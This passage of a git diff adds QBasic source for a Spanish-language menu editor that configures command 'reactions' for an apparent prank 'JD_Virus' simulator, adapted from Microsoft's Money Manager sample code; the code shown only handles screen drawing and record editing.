JA_JA_JA_JA": GOSUB bipeador +SYSTEM + +bipeador: + COLOR c, 0 + PRINT + FOR bip = 1 TO LEN(tew$) + PRINT MID$(tew$, bip, 1); + IF c = 9 THEN PLAY "f50" ELSE PLAY "c51" + NEXT + RETURN + + + + + diff --git a/BAS/M_VIRUS.BAS b/BAS/M_VIRUS.BAS new file mode 100644 index 0000000..bf04b25 --- /dev/null +++ b/BAS/M_VIRUS.BAS @@ -0,0 +1,1624 @@ +DECLARE SUB BackSpace () +DECLARE FUNCTION GetString2$ (start$, end$, Vis%, Max%, row%, col%) +DECLARE SUB Simulador () +' +' Q B a s i c J D ___ V I R U S M O D I F I C A D O R +' +' Copyright (C) Microsoft JD Corporation 1993 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations + +DECLARE SUB Initialize () +DECLARE SUB Center (row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB box (Row1%, col1%, Row2%, Col2%) +DECLARE SUB EditAccounts () +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB EditTrans (item%) + +DECLARE FUNCTION Cvit$ (X%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (row%, col%, start$, end$, Vis%, Max%) + + +'Constants +CONST TRUE = -1 +CONST FALSE = NOT TRUE + +'Global variables +DIM SHARED ColorPref, CurrRowt 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED PrintErr AS INTEGER 'Printer error flag + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + + OPEN "M_VIR.INI" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + SaveState + RESUME + CASE 24, 25 + PrintErr = TRUE + box 8, 13, 14, 69 + Center 11, "La impresora no responde ... Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + WHILE INKEY$ <> " ": WEND + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +datas: +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9 +DATA *,* + +SUB BackSpace + + REDIM help$(4), col(4), Vis(4), Max(4), CurrString$(1), CurrFig#(3) + 'Array to keep the current balance at all the transactions + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + 'Open random access file + + OPEN "Crack.dat" FOR RANDOM AS #1 LEN = 58 + FIELD #1, 2 AS IoA$, 2 AS IoR$, 1 AS IoT$, 50 AS IoMen$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + 'Initialize variables + CurrFig#(1) = 0 + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrString$(1) = "" + + GET #1, 39 + + IF valid$ <> "*" THEN + LSET IoA$ = "" + LSET IoR$ = "" + LSET IoT$ = "" + LSET IoMen$ = "" + PUT #1, 39 + 1 + LSET valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 39 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + + help$(1) = "Acci¢n 0, 1 a 19, 20 a 30 " + help$(2) = "Inicio en Return's VACIOS " + help$(3) = "Duraci¢n en Return's VACIOS " + help$(4) = "Mensaje en Caso de Accion=0 " + + col(1) = 2: Vis(1) = 5: Max(1) = 2 + col(2) = 8: Vis(2) = 3: Max(2) = 2 + col(3) = 13: Vis(3) = 3: Max(3) = 1 + col(4) = 17: Vis(4) = 50: Max(4) = 50 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 24, 67 + box 2, 68, 24, 80 + LOCATE 3, 69: PRINT "20 Sopa "; + LOCATE 5, 69: PRINT "21 Warning "; + LOCATE 7, 69: PRINT "22 "; + LOCATE 9, 69: PRINT "23 "; + LOCATE 11, 69: PRINT "24 "; + LOCATE 13, 69: PRINT "25 "; + LOCATE 15, 69: PRINT "26 "; + LOCATE 17, 69: PRINT "27 "; + LOCATE 19, 69: PRINT "28 "; + LOCATE 21, 69: PRINT "29 "; + LOCATE 23, 69: PRINT "30 "; + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 6: PRINT "Modificador de Comandos de JD_Virus Simuler, por JD..." + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " A ³ <Ù ³ T ³ Mensaje: " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÅÄÄÄÄÅÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1x$ = "ßßßßß³ßßßß³ßßß³ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß" + u1$ = " ³ ³ ³ " + CurrTopline = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB TransPrintWholeScreen + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB TransGetLine + GOSUB TransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + GOSUB TransShowCursor 'Show Cursor, Wait for key + DO: Kbd$ = INKEY$: LOOP UNTIL Kbd$ <> "" + GOSUB TransHideCursor + + IF Kbd$ >= " " AND Kbd$ < "~" OR Kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB TransEditItem + END IF + + SELECT CASE Kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB TransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB TransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 4 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB TransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB TransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +TransShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " "; ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " "; ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + CASE 4 + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + END SELECT + RETURN + + +TransHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " "; ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " "; ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + CASE 4 + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + END SELECT + RETURN + + +TransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + + SELECT CASE CurrCol + CASE 1 + DO + Kbd$ = GetString$(CurrRow + 4, col(1), Kbd$, new$, Vis(1), Max(1)) + CurrFig#(1) = VAL(new$) + LOOP WHILE VAL(new$) <= -1 OR VAL(new$) > 30 + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE 2 + DO + Kbd$ = GetString$(CurrRow + 4, col(2), Kbd$, new$, Vis(2), Max(2)) + CurrFig#(2) = VAL(new$) + LOOP WHILE VAL(new$) < 0 OR VAL(new$) > 99 + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE 3 + DO + Kbd$ = GetString$(CurrRow + 4, col(3), Kbd$, new$, Vis(3), Max(3)) + CurrFig#(3) = VAL(new$) + LOOP WHILE VAL(new$) < 0 OR VAL(new$) > 9 + + GOSUB TransPutLine + GOSUB TransGetLine + + + CASE 4 + Kbd$ = GetString$(CurrRow + 4, col(4), Kbd$, new$, Vis(4), Max(4)) + + CurrString$(1) = new$ + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE ELSE + END SELECT + GOSUB TransPrintLine + RETURN + +TransMoveUp: + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + CurrTopline = 19 + GOSUB TransGetLine + + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB TransGetLine + + END IF + + + GOSUB TransPrintLine + RETURN +TransMoveDown: + + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + CurrTopline = 1 + GOSUB TransGetLine + + ELSE + CurrRow = CurrRow + 1 + GOSUB TransGetLine + END IF + END IF + + GOSUB TransPrintLine + RETURN + +TransPrintLine: + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " ³"; ELSE PRINT " ³"; + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " ³"; ELSE PRINT " ³"; + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " ³"; ELSE PRINT " ³"; + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + END IF + RETURN + + +TransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 2 + 39 + PUT #1, a + 1 + 39 + + a = a + 1 + WEND + + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 39 + GOSUB TransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB TransMoveUp + END IF + GOSUB TransGetLine + + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +TransAddRecord: + temp = CurrRecord + CurrRecord = CurrTopline + CurrRow - 1 + IF MaxRecord > 18 THEN + BEEP + CurrRecord = temp + ELSE + + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + 39 + PUT #1, a + 2 + 39 + + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + LSET IoA$ = "" + LSET IoR$ = "" + LSET IoT$ = "" + LSET IoMen$ = "" + + PUT #1, CurrRecord + 2 + 39 + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 39 + GOSUB TransPrintWholeScreen + GOSUB TransGetLine + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +TransPrintWholeScreen: + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB TransGetLine + END IF + GOSUB TransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +TransPutLine: + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoA$ = LTRIM$(RTRIM$(STR$(CurrFig#(1)))) + LSET IoR$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoT$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoMen$ = CurrString$(1) + PUT #1, CurrRecord + 1 + 39 + RETURN + +TransGetLine: + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + 39 + CurrFig#(1) = VAL(IoA$) + CurrFig#(2) = VAL(IoR$) + CurrFig#(3) = VAL(IoT$) + CurrString$(1) = IoMen$ + RETURN +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB box (Row1, col1, Row2, Col2) STATIC + + BoxWidth = Col2 - col1 + 1 + + LOCATE Row1, col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB Center (row, text$) + LOCATE row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'EditAccounts: +' This is the full-screen editor which allows you to change your account +' titles and descriptions +SUB EditAccounts + + REDIM help$(6), col(6), Vis(6), Max(6), CurrString$(8), CurrRowt(2 TO 8) + 'Array to keep the current balance at all the transactions + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + 'Open random access file + + OPEN "Crack.dat" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + + CurrString$(3) = "" + CurrString$(4) = "" + CurrString$(5) = "" + CurrString$(6) = "" + CurrString$(7) = "" + + GET #1, 1 + + IF valid$ <> "*" THEN + LSET IoDate$ = "" + LSET IoRef$ = "" + LSET IoDos$ = "" + LSET IoTres$ = "" + LSET IoCuatro$ = "" + LSET IoCinco$ = "" + PUT #1, 2 + LSET valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + + help$(1) = "Comando reaccionante... " + + help$(2) = "Reaccion " + help$(3) = "Reaccion " + help$(4) = "Reaccion " + help$(5) = "Reaccion " + help$(6) = "Reaccion " + + col(1) = 2: Vis(1) = 10: Max(1) = 10 + + col(2) = 21: CurrRowt(2) = 3: Vis(2) = 20: Max(2) = 20 + col(3) = 21: CurrRowt(3) = 4: Vis(3) = 20: Max(3) = 20 + col(4) = 21: CurrRowt(4) = 5: Vis(4) = 20: Max(4) = 20 + col(5) = 21: CurrRowt(5) = 6: Vis(5) = 20: Max(5) = 20 + col(6) = 21: CurrRowt(6) = 7: Vis(6) = 20: Max(6) = 20 + + CurrRowt = 3 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 24, 12 + box 2, 20, 8, 41 + box 18, 20, 24, 51 + LOCATE 19, 21: PRINT "? Pregunta de 1 digitos" + LOCATE 20, 21: PRINT "X# Respuesta a X, " + LOCATE 21, 21: PRINT "X% Futura ampliaci¢n " + LOCATE 22, 21: PRINT "X! Futura ampliaci¢n " + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 5: PRINT "Modificador de Comandos de JD_Virus Simuler, por JD..." + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT " Comando: " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÄÄÄÄ" + u1x$ = "ßßßßßßßßßß" + u1$ = " " + CurrTopline = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB EditTransPrintWholeScreen + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: Kbd$ = INKEY$: LOOP UNTIL Kbd$ <> "" + GOSUB EditTransHideCursor + + IF Kbd$ >= " " AND Kbd$ < "~" OR Kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE Kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(CurrCol), Vis(CurrCol)); + CASE 2, 3, 4, 5, 6 + LOCATE CurrRowt, 21: PRINT LEFT$(CurrString$(CurrRowt), Vis(CurrCol)); + END SELECT + RETURN + + +EditTransHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(CurrCol), Vis(CurrCol)); + CASE 2, 3, 4, 5, 6 + LOCATE CurrRowt, 21: PRINT LEFT$(CurrString$(CurrRowt), Vis(CurrCol)); + END SELECT + RETURN + + +EditTransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + + SELECT CASE CurrCol + CASE 1 + Kbd$ = GetString$(CurrRow + 4, col(CurrCol), Kbd$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(CurrCol) = new$ + GOSUB EditTransputLine + GOSUB EditTransGetLine + + CASE 2, 3, 4, 5, 6 + Kbd$ = GetString$(CurrRowt, 21, Kbd$, new$, Vis(CurrCol), Max(CurrCol)) + + CurrString$(CurrRowt) = new$ + + GOSUB EditTransputLine + GOSUB EditTransGetLine + + CASE ELSE + END SELECT + GOSUB EditTransPrintLine + RETURN + +EditTransMoveUp: + IF CurrCol >= 2 THEN + IF CurrRowt = 3 THEN + CurrRowt = 7 + + ELSE + CurrRowt = CurrRowt - 1 + + END IF + ELSE + + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + CurrTopline = 19 + GOSUB EditTransGetLine + + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine + + END IF + + END IF + GOSUB EditTransPrintLine + RETURN +EditTransMoveDown: + + IF CurrCol >= 2 THEN + IF CurrRowt = 7 THEN + CurrRowt = 3 + + ELSE + CurrRowt = CurrRowt + 1 + + + END IF + ELSE + + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + CurrTopline = 1 + GOSUB EditTransGetLine + + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine + END IF + END IF + END IF + GOSUB EditTransPrintLine + RETURN + +EditTransPrintLine: + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT " "; + ELSE + + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(3))) <> "" THEN LOCATE 3, 21: PRINT CurrString$(3); ELSE LOCATE 3, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(4))) <> "" THEN LOCATE 4, 21: PRINT CurrString$(4); ELSE LOCATE 4, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(5))) <> "" THEN LOCATE 5, 21: PRINT CurrString$(5); ELSE LOCATE 5, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(6))) <> "" THEN LOCATE 6, 21: PRINT CurrString$(6); ELSE LOCATE 6, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(7))) <> "" THEN LOCATE 7, 21: PRINT CurrString$(7); ELSE LOCATE 7, 21: PRINT " "; + + + END IF + RETURN + + +EditTransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + a = a + 1 + WEND + + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + GOSUB EditTransGetLine + + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +EditTransAddRecord: + temp = CurrRecord + CurrRecord = CurrTopline + CurrRow - 1 + IF MaxRecord > 18 THEN + BEEP + CurrRecord = temp + ELSE + + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 2 + + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + LSET IoDate$ = "" + LSET IoRef$ = "" + LSET IoDos$ = "" + LSET IoTres$ = "" + LSET IoCuatro$ = "" + LSET IoCinco$ = "" + + PUT #1, CurrRecord + 2 + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + END IF + LOCATE 1, 2: PRINT RTRIM$(LTRIM$(STR$(MaxRecord))) + RETURN + +EditTransPrintWholeScreen: + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine + END IF + GOSUB EditTransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditTransputLine: + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDate$ = CurrString$(1) + LSET IoRef$ = CurrString$(3) + LSET IoDos$ = CurrString$(4) + LSET IoTres$ = CurrString$(5) + LSET IoCuatro$ = CurrString$(6) + LSET IoCinco$ = CurrString$(7) + PUT #1, CurrRecord + 1 + RETURN + +EditTransGetLine: + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + CurrString$(1) = IoDate$ + CurrString$(3) = IoRef$ + CurrString$(4) = IoDos$ + CurrString$(5) = IoTres$ + CurrString$(6) = IoCuatro$ + CurrString$(7) = IoCinco$ + RETURN + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (row, col, start$, end$, Vis, Max) + Curr$ = LEFT$(start$, Max) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE row, col + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT Curr$; SPACE$(Vis - LEN(Curr$)); + LOCATE row, col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +FUNCTION GetString2$ (start$, end$, Vis%, Max%, row%, col%) +PRINT start$; + + + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText2 + GOSUB GetStringGetKey2 + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString2$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString2$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + IF LEN(Curr$) >= 0 THEN + LOCATE CSRLIN, POS(0) - 1: PRINT " "; + IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1 + END IF + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText2: + + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT RIGHT$(Curr$, 1); + + + END IF + RETURN + +GetStringGetKey2: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR X = 1 TO 10 + READ colors(X, ColorSet) + NEXT X + NEXT ColorSet + + LoadState + +END SUB + +'LoadState: +' Load color preferences and account info from M_VIR.INI +SUB LoadState + + OPEN "M_VIR.INI" FOR INPUT AS #1 + INPUT #1, ColorPref + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + + + CurrChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + + COLOR colors(7, ColorPref), colors(4, ColorPref) + box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT choice$(a); + NEXT a + + finished = FALSE + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor 